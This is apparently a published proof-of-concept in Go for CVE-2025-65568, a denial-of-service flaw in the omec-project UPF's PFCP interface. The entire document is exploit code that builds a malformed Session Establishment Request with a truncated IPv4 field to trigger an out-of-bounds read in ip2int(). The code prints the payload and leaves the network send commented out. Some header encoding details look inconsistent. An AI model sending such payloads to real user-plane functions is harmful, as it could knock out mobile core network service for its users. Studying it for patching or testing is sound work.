CVE-2025-65568: omec-project UPF pfcpiface 拒绝服务漏洞

package main import ( "bytes" "encoding/binary" "fmt" "net" ) // PFCP IE Types const ( IE_CreateFAR = 0x0200 IE_ApplyAction = 0x0400 IE_ForwardingParameters = 0x0500 IE_DestinationInterface = 0x0600 IE_FTEID = 0x0100 ) // Build PFCP Session Establishment Request with malformed CreateFAR func buildMalformedPFCPMessage() []byte { var buf bytes.Buffer // PFCP Header buf.WriteByte(0x20) // Version=1, MP=0, Flags=0 buf.WriteByte(0x01) // Message Type: Session Establishment Request // Sequence Number (3 bytes) + spare binary.Write(&buf, binary.BigEndian, uint32(0x000001)) // Message Length (placeholder) msgLen := uint16(0) lenPos := buf.Len() binary.Write(&buf, binary.BigEndian, msgLen) // IE: Create FAR with truncated IPv4 address // IE Type binary.Write(&buf, binary.BigEndian, uint16(IE_CreateFAR)) // IE Length (will be set later) ieDataStart := buf.Len() binary.Write(&buf, binary.BigEndian, uint16(0)) // Truncated IPv4 address field (empty or incomplete) // This triggers the out-of-bounds read in ip2int() truncatedIP := []byte{0x00} // Empty or incomplete IP address buf.Write(truncatedIP) // Set IE Length ieLen := uint16(buf.Len() - ieDataStart - 2) binary.BigEndian.PutUint16(buf.Bytes()[ieDataStart:], ieLen) // Update message length msgLen = uint16(buf.Len() - 4) binary.BigEndian.PutUint16(buf.Bytes()[lenPos:], msgLen) return buf.Bytes() } func main() { fmt.Println("CVE-2025-65568 PoC - Malformed PFCP Session Establishment Request") // Target UPF N4/PFCP endpoint targetAddr := "192.168.1.100:8805" // Build malicious PFCP message payload := buildMalformedPFCPMessage() // Send to UPF (requires PFCP association to be established first) // This PoC demonstrates the message structure // Attacker needs to establish PFCP association before sending session requests fmt.Printf("Target: %s\n", targetAddr) fmt.Printf("Payload length: %d bytes\n", len(payload)) fmt.Printf("Payload hex: %x\n", payload) fmt.Println("\nNote: Establish PFCP association first, then send this malformed session request") // Connection attempt (commented out for safety) // conn, err := net.Dial("udp", targetAddr) // if err != nil { // fmt.Printf("Connection error: %v\n", err) // return // } // defer conn.Close() // conn.Write(payload) }